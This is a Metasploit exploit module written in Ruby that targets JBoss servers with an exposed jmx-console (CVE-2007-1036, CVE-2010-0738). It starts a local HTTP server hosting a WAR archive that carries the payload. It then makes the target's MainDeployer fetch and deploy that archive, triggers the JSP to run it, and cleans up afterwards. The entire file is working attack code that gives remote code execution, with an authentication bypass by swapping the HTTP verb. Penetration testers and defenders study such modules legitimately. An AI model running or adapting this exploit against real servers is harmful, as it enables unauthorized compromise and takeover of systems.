1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 |
## # $Id: jboss_maindeployer.rb 10754 2010-10-19 22:24:33Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name'=> 'JBoss JMX Console Deployer Upload and Execute', 'Description' => %q{ This module can be used to execute a payload on JBoss servers that have an exposed "jmx-console" application. The payload is put on the server by using the jboss.system:MainDeployer functionality. To accomplish this, a temporary HTTP server is created to serve a WAR archive containing our payload. This method will only work if the target server allows outbound connections to us. }, 'Author'=> [ 'jduck', 'Patrick Hof' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10754 $', 'References'=> [ [ 'CVE', '2007-1036' ], [ 'CVE', '2010-0738' ], # by using VERB other than GET/POST [ 'OSVDB', '33744' ], [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ] ], 'Privileged'=> true, 'Platform'=> [ 'win', 'linux' ], 'Stance'=> Msf::Exploit::Stance::Aggressive, 'Targets' => [ # # detect via /manager/serverinfo # [ 'Automatic', { } ], # # Platform specific targets only # [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' }, ], [ 'Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }, ], # # Java version # [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Payload' => { 'DisableNops' => true } } ] ], 'DefaultTarget'=> 0)) register_options( [ Opt::RPORT(8080), OptString.new('USERNAME', [ false, 'The username to authenticate as' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username' ]), OptString.new('SHELL', [ false, 'The system shell to use', 'automatic' ]), OptString.new('JSP',[ false, 'JSP name to use without .jsp extension (default: random)', nil ]), OptString.new('APPBASE',[ false, 'Application base name, (default: random)', nil ]), OptString.new('PATH', [ true,'The URI path of the console', '/jmx-console' ]), OptString.new('VERB', [ true,'The HTTP verb to use (for CVE-2010-0738)', 'POST' ]), OptString.new('WARHOST',[ false, 'The host to request the WAR payload from' ]), ], self.class) end def auto_target print_status("Attempting to automatically select a target...") if not (plat = detect_platform()) raise RuntimeError, 'Unable to detect platform!' end # TODO: detection requires HTML parsing arch = ARCH_X86 # see if we have a match targets.each { |t| if (t['Platform'] == plat) and (t['Arch'] == arch) return t end } # no matching target found return nil end def exploit datastore['BasicAuthUser'] = datastore['USERNAME'] datastore['BasicAuthPass'] = datastore['PASSWORD'] jsp_name = datastore['JSP'] || rand_text_alphanumeric(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alphanumeric(8+rand(8)) verb = 'GET' if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST') verb = 'HEAD' end mytarget = target if (target.name =~ /Automatic/) mytarget = auto_target() if (not mytarget) raise RuntimeError, "Unable to automatically select a target" end print_status("Automatically selected target \"#{mytarget.name}\"") else print_status("Using manually select target \"#{mytarget.name}\"") end arch = mytarget.arch # Find out which shell if we're using a Java target if (mytarget.name =~ /Java/) if not (plat = detect_platform()) raise RuntimeError, 'Unable to detect platform!' end case plat when 'linux' datastore['SHELL'] = '/bin/sh' when 'win' datastore['SHELL'] = 'cmd.exe' end print_status("SHELL set to #{datastore['SHELL']}") else # set arch/platform from the target plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]] end # We must regenerate the payload in case our auto-magic changed something. return if ((p = exploit_regenerate_payload(plat, arch)) == nil) # Generate the WAR containing the payload if (mytarget.name =~ /Java/) @war_data = Msf::Util::EXE.to_war(p.encoded, { :app_name => app_base, :jsp_name => jsp_name }) else exe = generate_payload_exe( { :code => p.encoded, :arch => arch, :platform => plat }) @war_data = Msf::Util::EXE.to_jsp_war(exe, { :app_name => app_base, :jsp_name => jsp_name }) end # # UPLOAD # resource_uri = '/' + app_base + '.war' service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'] + resource_uri print_status("Starting up our web service on #{service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }}) if (datastore['WARHOST']) service_url = 'http://' + datastore['WARHOST'] + ':' + datastore['SRVPORT'] + resource_uri end print_status("Asking the JBoss server to deploy (via MainDeployer) #{service_url}") if (verb == "POST") res = send_request_cgi({ 'method'=> verb, 'uri' => datastore['PATH'] + '/HtmlAdaptor', 'vars_post' => { 'action'=> 'invokeOpByName', 'name'=> 'jboss.system:service=MainDeployer', 'methodName'=> 'deploy', 'argType' => 'java.lang.String', 'arg0'=> service_url } }) else res = send_request_cgi({ 'method'=> verb, 'uri' => datastore['PATH'] + '/HtmlAdaptor', 'vars_get' => { 'action'=> 'invokeOpByName', 'name'=> 'jboss.system:service=MainDeployer', 'methodName'=> 'deploy', 'argType' => 'java.lang.String', 'arg0'=> service_url } }) end if (! res) raise RuntimeError, "Unable to deploy WAR archive [No Response]" end if (res.code < 200 or res.code >= 300) case res.code when 401 print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") end raise RuntimeError, "Upload to deploy WAR archive [#{res.code} #{res.message}]" end # wait for the data to be sent print_status("Waiting for the server to request the WAR archive....") waited = 0 while (not @war_sent) select(nil, nil, nil, 1) waited += 1 if (waited > 30) raise RuntimeError, 'Server did not request WAR archive -- Maybe it cant connect back to us?' end end print_status("Shutting down the web service...") stop_service # # EXECUTE # print_status("Executing #{app_base}...") # JBoss might need some time for the deployment. Try 5 times at most and # wait 3 seconds inbetween tries num_attempts = 5 num_attempts.times { |attempt| res = send_request_cgi({ 'uri' => '/' + app_base + '/' + jsp_name + '.jsp', 'method'=> verb }, 20) msg = nil if (! res) msg = "Execution failed on #{app_base} [No Response]" elsif (res.code < 200 or res.code >= 300) msg = "Execution failed on #{app_base} [#{res.code} #{res.message}]" elsif (res.code == 200) print_good("Successfully triggered payload at '#{uri}'") break end if (attempt < num_attempts - 1) msg << ", retrying in 3 seconds..." print_error(msg) select(nil, nil, nil, 3) else print_error(msg) end } # # DELETE # # XXX: Does undeploy have an invokeByName? # print_status("Undeploying #{app_base} ...") res = send_request_cgi({ 'method'=> verb, 'uri' => datastore['PATH'] + '/HtmlAdaptor', 'vars_post' => { 'action'=> 'invokeOpByName', 'name'=> 'jboss.system:service=MainDeployer', 'methodName'=> 'methodName=undeploy', 'argType' => 'java.lang.String', 'arg0'=> app_base } }, 20) if (! res) print_error("WARNING: Undeployment failed on #{app_base} [No Response]") elsif (res.code < 200 or res.code >= 300) print_error("WARNING: Undeployment failed on #{app_base} [#{res.code} #{res.message}]") end handler end # Handle incoming requests from the server def on_request_uri(cli, request) #print_status("on_request_uri called: #{request.inspect}") if (not @war_data) print_error("A request came in, but the WAR archive wasn't ready yet!") return end print_status("Sending the WAR archive to the server...") send_response(cli, @war_data) @war_sent = true end # Try to autodetect the target platform def detect_platform() print_status("Attempting to automatically detect the platform...") path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' res = send_request_raw( { 'uri'=> path }, 20) if (not res) or (res.code != 200) print_error("Failed: Error requesting #{path}") return nil end if (res.body =~ /<td.*?OSName.*?(Linux|Windows).*?<\/td>/m) os = $1 if (os =~ /Linux/i) return 'linux' elsif (os =~ /Windows/i) return 'win' end end nil end end |